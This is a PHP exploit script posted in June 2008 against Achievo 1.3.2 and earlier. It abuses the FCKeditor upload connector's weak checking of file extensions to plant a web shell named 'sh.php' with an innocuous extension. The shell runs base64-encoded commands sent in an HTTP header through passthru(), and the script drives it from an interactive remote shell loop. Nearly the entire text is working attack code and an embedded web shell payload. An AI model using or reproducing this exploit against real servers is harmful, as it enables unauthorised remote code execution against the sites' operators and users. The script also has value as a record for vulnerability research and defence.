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achievo-upload.txt

Posted on 10 June 2008

<?php

/*
-----------------------------------------------------------------
Achievo <= 1.3.2 (fckeditor) Remote Arbitrary File Upload Exploit
-----------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.achievo.org/
details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed)

[-] vulnerable code in /atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/config.php

121.	//File Area
122.	$fckphp_config['ResourceAreas']['File'] =array(
123.
124.		//Files(identified by extension) that may be uploaded to this area
125.		'AllowedExtensions'	=>	array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"),

with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "
[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

function upload()
{
global $host, $path;

$connector = "atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php";
$file_ext  = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");

foreach ($file_ext as $ext)
{
print "
[-] Trying to upload with .{$ext} extension...";

$data  = "--12345
";
$data .= "Content-Disposition: form-data; name="NewFile"; filename="sh.php.{$ext}"
";
$data .= "Content-Type: application/octet-stream

";
$data .= "<?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${print(_code_)} ?>
";
$data .= "--12345--
";

$packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Content-Length: ".strlen($data)."
";
$packet .= "Content-Type: multipart/form-data; boundary=12345
";
$packet .= "Connection: close

";
$packet .= $data;

preg_match("/OnUploadCompleted((.*),'(.*)')/i", http_send($host, $packet), $html);

if (!in_array(intval($html[1]), array(0, 201))) die("
[-] Upload failed! (Error {$html[1]}: {$html[2]})
");

$packet  = "GET {$path}sh.php.{$ext} HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Connection: close

";
$html    = http_send($host, $packet);

if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;

sleep(1);
}

return false;
}

print "
+--------------------------------------------------------------------+";
print "
| Achievo <= 1.3.2 (fckeditor) Arbitrary File Upload Exploit by EgiX |";
print "
+--------------------------------------------------------------------+
";

if ($argc < 3)
{
print "
Usage......: php $argv[0] host path
";
print "
Example....: php $argv[0] localhost /";
print "
Example....: php $argv[0] localhost /achievo/
";
die();
}

$host = $argv[1];
$path = $argv[2];

if (!($ext = upload())) die("

[-] Exploit failed...
");
else print "
[-] Shell uploaded...starting it!
";

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
print "
achievo-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}sh.php.{$ext} HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "Cmd: ".base64_encode($cmd)."
";
$packet.= "Connection: close

";
$html   = http_send($host, $packet);
if (!eregi("_code_", $html)) die("
[-] Exploit failed...
");
$shell = explode("_code_", $html);
print "
{$shell[1]}";
}
else break;
}

?>

 

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